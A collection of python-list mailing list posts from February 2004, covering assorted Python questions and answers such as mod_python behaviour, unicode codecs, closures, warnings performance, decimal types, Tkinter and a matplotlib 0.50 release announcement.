Subject: Unexpected mod-python behaviour.
References: <mailman.1183.1075863207.12720.python-list@python.org>
Message-ID: <c00nbi$t47$0@216.39.172.122>

On Wed, 4 Feb 2004 10:53:31 +0800, "Simon Wittber" <drconrad at metaplay.com.au> wrote:

>Greetings fellow Python People!
>
>I am using the latest debian-unstable Apache 1.3 and mod-python 2.7 with
>python 2.3.3
>
>Yesterday I wrote a small mod-python script which returned the URL
>entered as a XML snippet.
>
>This morning, I created a new directory, and copied this script and
>.htaccess file across to a new directory, and changed the program to
>return a list of tables and fields in a MySQL table.
>
>I was making good progress, things were working great. Then I hit
>refresh (Ctrl-R), _twice_, in Mozilla, and lo-and-behold, I received an
>XML snippet of the URL. The program I wrote _yesterday_ appeared to be
>running instead of my current work! This is *not* a caching problem, as
>I am able type in different URL's and receive the correct XML snippet
>back in the browser.
>
>I am not importing modules, I am writing all my code in the handler.py
>file, which is pointed at by my .htaccess file, so this is not a module
>reloading problem. 
>
>This is extremely bizarre behaviour, and I am unable to track down the
>problem. The only solution is to restart apache, which is unacceptable.
>What if this happened in a production environment?
>
>Can anyone explain this weirdness?
>
Is it possibly executing the .pyc compiled from the previous version for
some reason? What are the paths etc. involved in accessing .py and .pyc?
(or .pyo, if that's involved). What is the default directory when it runs?

Regards,
Bengt Richter


From tkarlsson at qm.com  Mon Feb  9 19:57:54 2004
From: tkarlsson at qm.com (Totte Karlsson)
Date: Mon, 9 Feb 2004 16:57:54 -0800
Subject: gvim file filter
References: <c095qk$pr1$1@sea.gmane.org>
Message-ID: <c09aap$30k$1@sea.gmane.org>

sorry wrong group :)
I apologize..

"Totte Karlsson" <tkarlsson at qm.com> wrote in message
news:c095qk$pr1$1 at sea.gmane.org...
> How can I change gvims file open filter?
> I need to add *.cc there.. it's absent.
> thanks
> /totte
>
>
>
>
>
>
> -- 
> http://mail.python.org/mailman/listinfo/python-list
>






From sjoerd at acm.org  Tue Feb 17 11:02:53 2004
From: sjoerd at acm.org (Sjoerd Mullender)
Date: Tue, 17 Feb 2004 17:02:53 +0100
Subject: convert string with raw binary data to unicode
In-Reply-To: <c0gagj$m6m$06$1@news.t-online.com>
References: <c0gagj$m6m$06$1@news.t-online.com>
Message-ID: <40323B2D.2090302@acm.org>

Achim Domma wrote:
> Hi,
> 
> I want to pass raw binary data from a file to a COM object. I read the data
> from file like this:
> 
> data = file('path_to_file','rb').read()
> 
> If passed to a COM object, data is converted to unicode in the way one would
> expect for strings. I.e. a lot of zeros are filled in. I want each two
> characters from data to be interpreted as one unicode character. I read the
> docu about codecs but can not find a suitable codec. I also tried to read
> the data like this:
> 
> data = codecs.open('path_to_file','rb','???').read()
> 
> I tried to use UCS2 for the ???, but this encoding does not exist. A posting
> found via google supposes to use UTF-16 but this is not the same and raises
> an error.
> 
> This shouldn't be a big problem, but I can figure out how to solve it. Can
> anybody help?

Try utf-16-le or utf-16-be (depending on endianness of the data) as 
encoding.


-- 
Sjoerd Mullender <sjoerd at acm.org>



From paul at prescod.net  Wed Feb 25 03:58:47 2004
From: paul at prescod.net (Paul Prescod)
Date: Wed, 25 Feb 2004 00:58:47 -0800
Subject: Some language proposals.
In-Reply-To: <tyfbrnno9e2.fsf@pcepsft001.cern.ch>
References: <slrnc3mss6.pob.apardon@trout.vub.ac.be>	<mailman.58.1077649530.8594.python-list@python.org>
	<tyfbrnno9e2.fsf@pcepsft001.cern.ch>
Message-ID: <403C63C7.2010807@prescod.net>

Jacek Generowicz wrote:

>...
> 
> Chicken and Egg.
> 
> Sapir-Whorf.
> 
> I sumbit to you that read-only closures are rare in Python because
> they are a recent addition to the language.
> 
> I sumbit to you that read-write closures are so much rarer still,
> because they require an ugly hack to work.

I disagree. Closures are rare in Python because Python is primarily an 
OOP language.

http://www.kimbly.com/blog/000063.html

"""The venerable master Qc Na was walking with his student, Anton. 
Hoping to prompt the master into a discussion, Anton said "Master, I 
have heard that objects are a very good thing - is this true?"  Qc Na 
looked pityingly at his student and replied, "Foolish pupil - objects 
are merely a poor man's closures."

Chastised, Anton took his leave from his master and returned to his 
cell, intent on studying closures.  He carefully read the entire 
"Lambda: The Ultimate..." series of papers and its cousins, and 
implemented a small Scheme interpreter with a closure-based object 
system.  He learned much, and looked forward to informing his master of 
his progress.

On his next walk with Qc Na, Anton attempted to impress his master by 
saying "Master, I have diligently studied the matter, and now understand 
that objects are truly a poor man's closures."  Qc Na responded by 
hitting Anton with his stick, saying "When will you learn? Closures are 
a poor man's object."  At that moment, Anton became enlightened. """

  Paul Prescod





From amy-g-art at cox.net  Tue Feb  3 03:40:43 2004
From: amy-g-art at cox.net (Amy G)
Date: Tue, 3 Feb 2004 00:40:43 -0800
Subject: Question about 'if __name__ == "__main__":'
References: <k9ITb.28697$P17.28414@fed1read03>
Message-ID: <a8JTb.28702$P17.24409@fed1read03>

Thanks.  I think I will probably use the len(sys.args) line.  That seems
like a really staright forward approach since I will either be supplying an
argument - or not.


"Amy G" <amy-g-art at cox.net> wrote in message
news:k9ITb.28697$P17.28414 at fed1read03...
> I have a program that needs a little help.
> Right now the program runs in my crontab.  When it runs, it sets a few
> variables based on a query to a MySQL database.  I would like to modify it
> so that it can run as it is... or if arguments are supplied, use those
> instead of querrying the database.
>
> Will using this statement help me out?
>
> if __name__ == "__main__":
>
> I seem to recall that this returns true if it is run as a script by
python,
> rather than as a module from another prog.  Since I am going to run this
> from a command line - or from my crontab... it will always return true as
> far as I can tell.
>
> Any suggestions to help me out.
>
> Ultimately I want something like this pseudocode...
>
> if (no args supplied):
>     curs.execute("""SELECT userid FROM users""")
>     data = curs.fetchall()
> else:
>     data = sys.argv[1]
>
> do something with data:
>     blah
>     blah
>     blah
>
> Thanks in advance for your help.
>
>




From maxm at mxm.dk  Tue Feb  3 06:52:54 2004
From: maxm at mxm.dk (Max M)
Date: Tue, 03 Feb 2004 12:52:54 +0100
Subject: Smarter way of doing this?
In-Reply-To: <10c662fe.0402030326.5a6b87bc@posting.google.com>
References: <401e4d57$0$295$edfadb0f@dread12.news.tele.dk>
	<10c662fe.0402030326.5a6b87bc@posting.google.com>
Message-ID: <401f8ba1$0$212$edfadb0f@dread12.news.tele.dk>

Roberto A. F. De Almeida wrote:

> In one line:
> 
> v = ['item 1','item 2','item 3',]
> p = [0.66, 0.33, 0.16]
> 
> [v[i] for i,j in enumerate(p) if sum(p[:i]) > (random.random()*sum(p))][0]


uh, that's hard to read :-)

But doesn't random.random()*sum(p) get executed for each probability in p?

Then each probability in p will be compared to a different random value. 
That isn't fair...


regards Max m


From skip at pobox.com  Fri Feb  6 15:04:08 2004
From: skip at pobox.com (Skip Montanaro)
Date: Fri, 6 Feb 2004 14:04:08 -0600
Subject: Warnings killing my performance
In-Reply-To: <153fa67.0402060933.13840e8c@posting.google.com>
References: <153fa67.0402060933.13840e8c@posting.google.com>
Message-ID: <16419.62264.856097.323583@montanaro.dyndns.org>


    Ben> So I have these problems: warnings are slow (even when disabled),
    Ben> sometimes warnings are being issued and I never see them, and given
    Ben> that I never see the warnings I don't know how to get around them.

    Ben> So, my first question is to ask if there is a more efficient way of
    Ben> disabling warnings?

This may seem silly, but switching to the CVS version of Python (aka 2.4a0)
should help immensely, simply because that is gone:

    % python2.3 ~/local/bin/timeit.py -s 'import sys ; sys.path.append("/Users/skip/tmp"); from warn import IntToRandFloat' 'IntToRandFloat(789221)'
    /Users/skip/tmp/warn.py:4: FutureWarning: x<<y losing bits or changing sign will return a long in Python 2.4 and up
      x = int(x << 13) ^ x
    10000 loops, best of 3: 114 usec per loop
    % python2.4 ~/local/bin/timeit.py -s 'import sys ; sys.path.append("/Users/skip/tmp"); from warn import IntToRandFloat' 'IntToRandFloat(789221)'
    100000 loops, best of 3: 16.7 usec per loop

    Ben> Lastly, a suggestion; if 2.4 will introduce an automatic promotion
    Ben> to a long as a result of this shift operation, will the standard
    Ben> library provide a C implementation of the lossy shift operator for
    Ben> those of us that would benefit from a quick version? I'm guessing
    Ben> that promoting it to a long and then getting it back to a normal
    Ben> int is not exactly the speediest operation.

Apparently it's quite a bit faster than navigating all the warning
machinery. ;-)

Skip




From danb_83 at yahoo.com  Fri Feb  6 20:38:33 2004
From: danb_83 at yahoo.com (Dan Bishop)
Date: 6 Feb 2004 17:38:33 -0800
Subject: PEP 327: Decimal Data Type
References: <mailman.1054.1075487007.12720.python-list@python.org>
	<bvef14$919$1@news.service.uci.edu>
	<ad052e5c.0401310101.1c5bd5aa@posting.google.com>
	<bvtjb4$gic$1@panix2.panix.com>
	<qeq520pv7kbd1s3ojmn3idetjuljhtk5md@4ax.com>
Message-ID: <ad052e5c.0402061738.bdddcaa@posting.google.com>

Stephen Horne <steve at ninereeds.fsnet.co.uk> wrote in message news:<qeq520pv7kbd1s3ojmn3idetjuljhtk5md at 4ax.com>...
> On 5 Feb 2004 09:18:12 -0500, aahz at pythoncraft.com (Aahz) wrote:
> 
> >In article <ad052e5c.0401310101.1c5bd5aa at posting.google.com>,
> >Dan Bishop <danb_83 at yahoo.com> wrote:
> >>
> >>For money, it means that I have *exactly* $1.80.  This is because
> >>"dollars" are just a notational convention for large numbers of cents.
> >> I can just as accuately say that have an (integer) 180 cents, and
> >>indeed, that's exactly the way it would be stored in my financial
> >>institution's database.  (I know because I used to work there.)  So
> >>all you really need here is "int".  But I do agree with the idea of
> >>having a class to hide the decimal/integer conversion from the user.
> >
> >Really.  What kind of financial institution was this?  They didn't need
> >to deal with any form of fractional pennies?
> 
> Does it really matter if they did? They may not deal in whole pennies,
> but I seriously doubt that they need infinite precision - integers
> with a predefined scaling factor (ie fixed point arithmetic) will, I
> suspect, handle those few jobs that counting in pennies can't.

And you would be right.  For example, interest rates were always
stored in thousandths of a percent.

The only problem was that some of the third-party software we used
made this scaling completely visible to the user.  Our employees would
occasionally forget the scaling factor, and this resulted in mistakes
like having one of our CD's pay 445% interest instead of 4.45%.

> That said, as I understand it, a lot of financial institutions have a
> lot of COBOL code. And from what I remember of programming in COBOL,
> the typical representation of numbers in both files and working
> storage uses decimal digits stored in a character string - at least
> that's what the picture strings specify in the source code.

We had a lot of numbers in EBCDIC signed decimal.  Even though our
mainframe used ASCII.


From ptmcg at users.sourceforge.net  Thu Feb 26 13:07:33 2004
From: ptmcg at users.sourceforge.net (Paul McGuire)
Date: Thu, 26 Feb 2004 18:07:33 GMT
Subject: python newbie having strangeness
References: <of4s30p4a2nq964bjb0kcb25ocrv5kj2sk@4ax.com>
Message-ID: <FBq%b.4568$OH4.559@fe2.texas.rr.com>

"Joe F. Blow" <dood at dood.com> wrote in message
news:of4s30p4a2nq964bjb0kcb25ocrv5kj2sk at 4ax.com...
> The program below has been acting very weird. Last night it complained
> that I was referencing X in getline() before defining it. Of course I
> wasn't, as X is a global.
>
> This morning I ran the exact same code again and now it says,
> "NameError: name 'convert' is not defined". HUH????? Of course it's
> defined!
>
> What am I doing wrong? Any ideas? I'm using pythonwin and python2.3 on
> windoze xp.
>
> --------------------------------------------------------------------------
--------
>
> x=1
> count=binlist=0
>
> #get s19 file in list named "line"
> inp=file("c:\\download\\electron\\68hc11\\a code\\tankbot2.s19","r")
> line = inp.read()
> inp.close()
>
> if line[x]=="0":            #is command char a "0"?
>     dig1=line[x+1]          #yes, get line length
>     dig2=line[x+2]
>     a=convert(dig1,dig2)
>     x=x+((a*2)+5)           #point to command char of next line
>
> if line[x]=="1":
>     getline()
> print binlist
>
> def getline():
>     global count
>     global x
>     global line
>     global binlist
>     dig1=line[x+1]
>     dig2=line[x+2]
>     a=convert(dig1,dig2)
>     x+=2
>     e=x
>     for e in range(e,e+a,2):
>         dig1=line[e+1]
>         dig2=line[e+2]
>         binlist[count]=convert(dig1,dig2)
>         count+=1
>
> #convert ascii hex digits x & y to an integer
> def convert(x,y):
>     a=int(x)
>     b=int(y)
>     a=a<<4
>     a=a+b
>     return(a)
>
Hey Joe -

Here are some keen Python features that might make your task easier:

file.readlines() - will give you each line of your file at a time, no need
to read it all at once (or even better, "for line in file('xyzzy.s19'):")
string slicing - line[x:x+2] will give you a 2-char substring at location x
hex to int conversion - int("0A",16) gives the value 10
list comprehensions (this is way cool!) - bytes = "AABBCCDD", bytelist = [
int(bytes[x:x+2],16) for x in range(0,len(bytes),2) ] results in a bytelist
containing [170, 187, 204, 221]

Python has been around a while, and before writing your own hex-to-int
conversion, it's worth trying to find a way to do it in the language.  Soon
you'll graduate from brute force range looping to list comprehensions.

Good luck with your S19 work.

-- Paul





From frithiof.jensen at removethis.ted.ericsson.dk  Thu Feb 26 07:04:41 2004
From: frithiof.jensen at removethis.ted.ericsson.dk (Frithiof Andreas Jensen)
Date: Thu, 26 Feb 2004 13:04:41 +0100
Subject: How to suspend a script?
References: <403becad@clarion.carno.net.au> <403bed20$1@clarion.carno.net.au>
Message-ID: <c1kn9i$se4$1@newstree.wise.edt.ericsson.se>


"Steve" <nospam at nopes> wrote in message
news:403bed20$1 at clarion.carno.net.au...
>
> I would like to add that I want it to be a cron job so I need to do
> something externally. This might be a trivial thing to do but I'm a
> newbie and I'm not too fluent with linux.

You should try it in Windows then ;-)




From fortepianissimo at yahoo.com.tw  Fri Feb 13 23:55:41 2004
From: fortepianissimo at yahoo.com.tw (Fortepianissimo)
Date: 13 Feb 2004 20:55:41 -0800
Subject: os.popen*() are thread-safe?
Message-ID: <ef08387c.0402132055.26e0472f@posting.google.com>

Just a quick question: are popen*() thread-safe? I'm using popen() and
popen2() in a heavily threaded script and seem to have some stability
problem (just hangs). (also it looks like the python process itself
gets vforked sometimes - this is Mac OS X 10.3.2)

Thanks!


From jdhunter at ace.bsd.uchicago.edu  Tue Feb 17 12:02:25 2004
From: jdhunter at ace.bsd.uchicago.edu (John Hunter)
Date: Tue, 17 Feb 2004 11:02:25 -0600
Subject: ANN: matplotlib-0.50 - python plots
Message-ID: <m27jylbpwe.fsf@mother.paradise.lost>


matplotlib is a python 2D plotting library which produces publication
quality figures using in a variety of hardcopy formats (PNG, JPG,
TIFF, PS) and interactive GUI environments (WX, GTK) across platforms.
matplotlib can be used in python scripts, interactively from the
python shell (ala matlab or mathematica), in web application servers
generating dynamic charts, or embedded in GTK or WX applications.

  http://matplotlib.sourceforge.net

What's new in matplotlib 0.50

Antigrain backend: Agg

  Adding to the growing list of image backends is Antigrain --
  http://antigrain.com. This is a backend written mostly in extension
  code and is the fastest of all the image backends. Agg supports
  freetype fonts, antialiased drawing, alpha blending, and much
  more. The windows installer contains everything you need except
  Numeric to use the agg backend out of the box; for other platforms
  see http://matplotlib.sourceforge.net/backends.html#Agg

Paint/libart backend

  David Moore wrote a backend for pypaint, a libart wrapper. libart is
  a high quality, cross platform image renderer that supports
  antialiased lines, freetype fonts, and other capabilities to soon be
  exploited. Thanks David! See
  http://matplotlib.sourceforge.net/backends.html#Paint for more
  information and install instructions

The Matplotlib FAQ

  Matplotlib now has a FAQ -- http://matplotlib.sourceforge.net/faq.html

Alpha channel attribute

  All the figure elements now have an alpha attribute to allow
  blending and translucency. Not all backends are currenly capable of
  supporting alpha - currently only Agg, but Paint should be able to
  support this soon - see the scatter screenshot for an example of
  alpha at work
  http://matplotlib.sourceforge.net/screenshots.html#scatter_demo2

Table class added

  John Gill has developed a very nice Table class and table function
  that plays well with bar charts and stacked bar charts. See example
  code and screenshot table_demo at
  http://matplotlib.sourceforge.net/screenshots.html#table_demo

New plot commands cla and clf

  Clear the current axes or figure. Useful in interactive plotting
  from a python shell

GD module on win32

  With much weeping and gnashing of teeth and help from half the
  people on this globe, built a gdmodule win32 installer. Special
  thanks to Stefan Kuzminski for putting up with my endless windows
  confusions. See the win32 quickstart at installing the GD backend -
  http://matplotlib.sourceforge.net/backends.html#GDWIN32

GD supports clipping and antialiased line drawing

  See instructions about upgrading gd and gdmodule at Installing the
  GD backend. The line object has a new 'antialiased' property, that
  if True, the backend will render the line antialiased if
  supported. Note antialiased drawing under GD is slow, so be sure to
  turn the property off set(lines, 'antialiased', False) if you
  experience performance problems. If you need performance and
  antialiasing, use the agg backend.

Wild and wonderful bar charts

  You can provide an optional argument bottom to the bar command to
  determine where the bottom of each bar is, default 0 for all. This
  enables stacked bar plots and candelstick plots --
  examples/bar_stacked.py. Thanks to David Moore and John Gill for
  suggestions and code.

Figure backend refactored

  The figure functionality was split into a backend independent
  component Figure and a backend dependent component
  FigureCanvasBase. This completes the transition to a totally
  abstract figure interface and improves the ability the switch
  backends and a figure to multiple backends. See API_CHANGES for
  information on migrating applications to the new API at
  http://matplotlib.sourceforge.net/API_CHANGES

Tons of bug fixes and optimizations detailed at
http://matplotlib.sourceforge.net/whats_new.html



From smcg4191 at frii.RemoveThisToReply.com  Mon Feb 16 22:32:02 2004
From: smcg4191 at frii.RemoveThisToReply.com (Stuart McGraw)
Date: Mon, 16 Feb 2004 20:32:02 -0700
Subject: overriding method that returns base class object
References: <4031441c$0$202$75868355@news.frii.net>
	<4031481B.90B31C73@engcorp.com>
	<40315037$0$199$75868355@news.frii.net> <40316850$1@nntp0.pdx.net>
Message-ID: <40318b34$0$196$75868355@news.frii.net>


"Scott David Daniels" <Scott.Daniels at Acm.Org> wrote in message news:40316850$1 at nntp0.pdx.net...
> Stuart McGraw wrote:
> 
> > Sorry, you are right, I wasn't clear.  I mean B inherits from
> > A.  Here is what I am trying to do...
> > 
> > Class A has a method A.a() that returns an A.  I want a 
> > identical class but with an additional property .newprop
> > and method .b()  And I want .a() to return a B, not an A.
> > 
> >   class B (A):
> >     def __init__(self, *args, **kwds):
> >       A.__init__(self, *args, **kwds)
> >       self.newprop = 99
> >     def a(self):
> >       x = A.a(self)    # x is an A
> >       x.__class__ = B
> >       return x    # I want x to be a B, i.e have b() and .newprop.
> >     def b(self):
> >       ...something...
> > 
> > Yes, I know this is bogus.  But I am not sure what 
> > I should be doing. 
> Typically, you might want to do something like:
> 
> class B(A):
>      ...
>      def a(self):
>          x = self.__class__.__new__(self.__class__,...)
>          # __new__ Usually gets no more args here, but
> 
>          x.__init__(...)
>          # And here is where we do the actual init

I don't think this will work.  A.a() returns an A, but one that
is initialized differently than an A() instance.  That is, A.a() 
does more that just __new__() and __init__() to it.  So if I 
do the above, I end up with a subtype (right word?) of an
A(), not an A.a().

Now I think that my B.a() must call A.a() and somehow
dynamically change the type of the object received?  As suggesed
above, I tried to change the class (x.__class__ = B) but that
just results in an exception 
TypeError: __class__ assignment: 'B' object layout differs from 'A'

Or maybe what I am trying to do is not possible in Python?



From ilyak at blue.seas.upenn.edu  Mon Feb 23 16:14:00 2004
From: ilyak at blue.seas.upenn.edu (Ilya Knizhnik)
Date: Mon, 23 Feb 2004 21:14:00 +0000 (UTC)
Subject: unicode and mysql
Message-ID: <c1dqen$d634$1@netnews.upenn.edu>

Hi all,

I'm having a problem inserting into a mysql database (its not the mysql, its 
the encoding of the query sting), could someone point me in the 
right direction. The code resembles the following:

text1=hdtext.encode("utf-8")  #this is acquired earlier in the script
string1="just testing"

#this first one would work fine
cursor.execute("insert into table1 (col1) values (%s)" %(text1))
#the next one works too
cursor.execute("insert into table1 (col2) values ('%s')" %(string1))

#however what i need to work is the following
cursor.execute("insert into table1 (col1,col2) values (%s,'%s')" 
% (text1,string1)


Thanks,


Ilya






From jcarlson at nospam.uci.edu  Thu Feb  5 02:43:44 2004
From: jcarlson at nospam.uci.edu (Josiah Carlson)
Date: Wed, 04 Feb 2004 23:43:44 -0800
Subject: Qt/PyQt license confusion
In-Reply-To: <7xu1262gil.fsf@ruckus.brouhaha.com>
References: <30260531.0402040954.68209983@posting.google.com>
	<bvrn55$29m$1@news.service.uci.edu>
	<M8lUb.926$VP1.707923@newshog.newsread.com>
	<7xu1262gil.fsf@ruckus.brouhaha.com>
Message-ID: <bvssbq$5qc$1@news.service.uci.edu>

> I think he's talking about a different situation than using GPL'd code
> in your application.  I read it as "Editing your program with GNU
> Emacs doesn't mean you then have to distribute the program under the GPL."

What you say is what I meant.

  - Josiah


From claird at lairds.com  Mon Feb 23 22:14:56 2004
From: claird at lairds.com (Cameron Laird)
Date: Tue, 24 Feb 2004 03:14:56 -0000
Subject: still trying to pass strings to the OS
References: <c1d5eg$gij$1@solaris.cc.vt.edu>
	<c1dboe$k3r$00$1@news.t-online.com> <403A4B77.4090703@hotmail.com>
Message-ID: <103lgdgms8k2v1d@corp.supernews.com>

In article <403A4B77.4090703 at hotmail.com>,
Bart Nessux  <bart_nessux at hotmail.com> wrote:
>Diez B. Roggisch wrote:
>> Read this:
>> 
>> http://pexpect.sourceforge.net/#faq
>> 
>> Then you most probably want to use it :)
>> 
>
>Thank you. That's exactly what I need.
>

If you can get your hands on a copy of the February 2004 issue of
*Sys Admin* Magazine <URL: http://www.samag.com/articles/2004/0402/ >,
you'll find a bit of encouragement there to pursue Pexpect.
-- 

Cameron Laird <claird at phaseit.net>
Business:  http://www.Phaseit.net


From donn at drizzle.com  Mon Feb  2 01:21:11 2004
From: donn at drizzle.com (Donn Cave)
Date: Mon, 02 Feb 2004 06:21:11 -0000
Subject: Python vs. Io
References: <mailman.1089.1075613103.12720.python-list@python.org>
	<1075659536.765710@yasure>
	<mailman.1108.1075669832.12720.python-list@python.org>
Message-ID: <1075702864.490920@yasure>

Quoth Paul Prescod <paul at prescod.net>:
| Donn Cave wrote:
|>|> Dog barks //Io
|>|> Dog.barks() #Python
|> 
|>...
|> 
|> So, how odd that anyone would think of putting the function
|> AFTER the object.  Did this come from Forth or something?
|
| Dog is not just the object. It is also the namespace that "barks" comes 
| from. Both the computer and the human need to know the namespace before 
| they can interpret the meaning of the string "barks" so it seems natural 
| to me that it should come first. This is especially true in languages 
| like Python and IO where two objects of even the same type could have 
| different name->method mappings.

If as a human I need to know the namespace of a function to understand
it, am I going to be confounded if a function defined in SGMLParser
appears to be invoked on an instance of HTMLParser?  Well, honestly
that kind of thing can sometimes be a source of frustration, but in
principle we prefer to consider it a virtue of the system, right?

Taking the "feed" function there, for example -
   parser.feed(data)

In principle, it already could be one of
   HTMLParser.feed
   SGMLParser.feed
   ParserBase.feed
   object.feed

and this is fine, we're not supposed to have a problem with it.
But if the feed function had been outside this hierarchy, we would
be writing instead
   feed(parser, data)

Why isn't that a violation of the object abstraction?  Simply make
it generic and let the above notation serve in either case, and you
don't have to know the implementation in order to use it.

Now I'll admit that this level of abstraction does pose a problem
with scope and legibility, and that might have to be addressed.
My point though is that we already accept this problem as a cost
of doing OO business, so it's kind of surprising to me that OO
languages invariably stop there, instead of going all the way.
They'll proudly declare that `everything is an object', but don't
wonder about the distinction between functions and methods.

Once you get far enough down the path that you have `languages
like Python and IO', you have some semantics that would be an
awkward fit here.  Two objects of the same could have different
name->method mappings, indeed.  But it's far from obvious that
this is even a good thing, let alone the obvious evolution of OOP.

	Donn Cave, donn at drizzle.com


From FBatista at uniFON.com.ar  Wed Feb 11 10:33:55 2004
From: FBatista at uniFON.com.ar (Batista, Facundo)
Date: Wed, 11 Feb 2004 12:33:55 -0300
Subject: How to avoid "f.close" (no parens) bug?
Message-ID: <A128D751272CD411BC9200508BC2194D033835E1@escpl.tcp.com.ar>

Skip Montanaro wrote:

#- Pychecker reports:
#- 
#-     % pychecker foo.py
#-     name: foo
#-     Processing foo...
#- 
#-     Warnings...
#- 
#-     foo.py:4: Statement appears to have no effect

Why "appears"?

There is any case when f.close, or bar or something like "not a call to a
function (there is no ')'), with no '=' at the left or at the right" has any
effect?

If no, could Python alert before run time?

I don't see nothing, but I'm kinda blind, :p

.	Facundo




From http  Mon Feb  2 14:19:23 2004
From: http (Paul Rubin)
Date: 02 Feb 2004 11:19:23 -0800
Subject: OT: why do web BBS's and blogs get so slow?
References: <7xbrojk9rk.fsf_-_@ruckus.brouhaha.com>
	<7xy8rmukd2.fsf@ruckus.brouhaha.com>
	<bvktq3$k3b$1@news.service.uci.edu>
	<7xvfmp7tpn.fsf@ruckus.brouhaha.com>
	<bvm0t5$j44$1@panix3.panix.com>
Message-ID: <7xznc1qog4.fsf@ruckus.brouhaha.com>

aahz at pythoncraft.com (Aahz) writes:
> >Well, that depends on what the hardware is.  Does anyone know?
> 
> Go look at their site!  ;-)

I took a quick look and didn't see anything specific about the hardware.
Got a url?


From stewart at midtoad.homelinux.org  Sat Feb 28 22:21:17 2004
From: stewart at midtoad.homelinux.org (stewart)
Date: Sun, 29 Feb 2004 03:21:17 GMT
Subject: Tkinter: how to refresh a canvas without duplicates?
References: <20040228011336.3e4a9e0f@pc-00065.midtoad.homelinux.org>
	<mailman.234.1077957026.8594.python-list@python.org>
Message-ID: <NUc0c.623269$JQ1.515487@pd7tw1no>

Fredrik Lundh wrote:

> the create methods add new objects to the canvas.  if you want
> to replace them, you can either get rid of the old objects (using
> delete(id) or even delete(ALL)) or you can modify the objects in
> place (itemconfig, coords).

thanks, that did the trick!

> if you need to rapidly redraw things in a Tkinter widget, the WCK is
> often a lot more efficient:
> 
>     http://www.effbot.org/zone/wck.htm

I've tried to install this, but when I run 'python setup.py install', it
complains that it "cannot find /usr/lib/python/2.3/config/Makefile".  Why
would this be?




From DennisR at dair.com  Thu Feb 19 11:42:17 2004
From: DennisR at dair.com (Dennis Reinhardt)
Date: Thu, 19 Feb 2004 16:42:17 GMT
Subject: Human validation with an image
References: <2ca51434.0402181235.460befe3@posting.google.com>
	<c10mh0$kfr$1@panix3.panix.com>
Message-ID: <JH5Zb.27731$Ft6.23073@newssvr25.news.prodigy.com>

> With thousands of registrations, you're going to have at least a few
> blind or visually-impaired users.  Bad move.  Instead, ask a question
> that requires intelligence to answer.

Arguably, there are more intelligence-impaired people than visually
impaired.  This whole challenge-response approach may be a bad move.

> (E.g. "What color is the sky?"

    black - night time
    white - cloudy day
    red - http://www.sunherald.com/mld/sunherald/news/nation/7495641.htm
    blue - clear day

The "intelligence" in such questions is often a matter of correctly modeling
what assumptions the questioner was making.

-- 
Dennis Reinhardt
DennisR at dair.com   http://www.spamai.com?ng_clp




From jseb at cs.mcgill.ca  Thu Feb 12 13:15:22 2004
From: jseb at cs.mcgill.ca (Jean-S?bastien Bolduc)
Date: 12 Feb 2004 10:15:22 -0800
Subject: Modifying builtin type behaviour
Message-ID: <56e1eff0.0402121015.2de0d427@posting.google.com>

I'm afraid this is a silly question, to which I know the answer
already. But let me ask anyway...

In Python, is there a way to modify a builtin type's methods? for
instance, modifying int.__add__ to behave as multiplication, I would
obtain 2+5 == 10. I emphasize that I don't want to modify the Python
source, but change the types behaviour _from within Python_.

Help would be appreciated!


From joe at notcharles.ca  Wed Feb 25 21:48:30 2004
From: joe at notcharles.ca (Joe Mason)
Date: Thu, 26 Feb 2004 02:48:30 GMT
Subject: How does Ruby compare to Python?? How good is DESIGN of
	Rubycompared to Python?
References: <bf23f78f.0402241443.678bf6c8@posting.google.com>
	<c1h1sb$1it26i$1@ID-169208.news.uni-berlin.de>
	<slrnc3ob0q.i6n.joe@gate.notcharles.ca>
	<mailman.100.1077717447.8594.python-list@python.org>
	<slrnc3q0j8.jm5.joe@gate.notcharles.ca>
	<t5fq30l29nidjh1tsksm8jlld03ff3av5o@4ax.com>
Message-ID: <slrnc3qm17.kc4.joe@gate.notcharles.ca>

In article <t5fq30l29nidjh1tsksm8jlld03ff3av5o at 4ax.com>, Stephen Horne wrote:
> I don't know how widespread it is among very high level languages, but
> there is a reason (in the not-that-high-level sense) that C++, and
> other 3GLs with classes hacked on don't. I'm assuming object Pascals
> and Basics (esp Delphi and VB) count here, though don't sue me if I'm
> wrong - I'm not familiar with object support in either.

I didn't think Pascals and Basics supported function pointers at all,
but I haven't used them since high school, so maybe I just didn't
encounter them at the time.

> Anyway, from this perspective, the bound method is an interesting
> in-between concept. I've sometimes wondered if full currying support
> may have been a better choice, but then a bound method is much more
> efficient simply because it's simpler - not to mention avoiding some
> syntactic difficulties I ignored above.

I've always found the performance differences between functional and imperative
languages fascinating (well, ever since I found out about it) - on the
one hand, pure functional languages can prove facts about the code
mathematically, so in theory the compiler can optimize much more away.
But on the other hand, supporting all the extra function state they need
is very costly.

Of course, hybrid languages like Python and Ruby have the worst of both
worlds - side effects everywhere AND extra function baggage to pass
around.

Joe


From andywil at nortelnetworks.com  Wed Feb  4 09:03:24 2004
From: andywil at nortelnetworks.com (Glawster)
Date: 4 Feb 2004 06:03:24 -0800
Subject: Mcmillen Installer Question
Message-ID: <2e3b9aea.0402040603.7d9b535d@posting.google.com>

I am not sure whether this is the right place to post questions for
Installer but here you are.

I have inherited a python application, I work on UNIX and then have to
use Installed to produce a Windows version. All is OK with this except
when executing and the following error messages are displayed.

Can anyone advise how I can correct them or even just hide them.

D:\CCPS\Release-2.1-20040203\Client\Build\Windows\bin>ccps2_install.exe

D:\CCPS\Release-2.1-20040203\Client\Build\Windows\buildccps2_install\out1.pyz/fcntl:7:
DeprecationWarning: the FCNTL module is deprecated; please use fcntl
D:\CCPS\Release-2.1-20040203\Client\Build\Windows\buildccps2_install\out1.pyz/termios:7:
DeprecationWarning: the TERMIOS module is deprecated; please use
termios
c:\python-2.3.2\Installer\iu.py:103: DeprecationWarning: the regex
module is deprecated; please use the re module
  mod = imp.load_module(nm, None, nm, ('','',imp.C_BUILTIN))

CCPS INSTALL STARTING...

The CCPS_DATA_PATH is not defined !!!


Regards,
Andy Wilson
andywil at nortelnetworks.com


From aahz at pythoncraft.com  Wed Feb  4 15:01:43 2004
From: aahz at pythoncraft.com (Aahz)
Date: 4 Feb 2004 15:01:43 -0500
Subject: Best way to control assignment to attribute?
References: <246a4e07.0402040712.2cd34d65@posting.google.com>
	<XF9Ub.175053$6y6.3406052@bgtnsc05-news.ops.worldnet.att.net>
	<bvrgi3$1n6$1@panix1.panix.com>
	<vXbUb.55174$6O4.1637541@bgtnsc04-news.ops.worldnet.att.net>
Message-ID: <bvrj37$ivl$1@panix1.panix.com>

Wes, please don't top-post.  Consider the following:

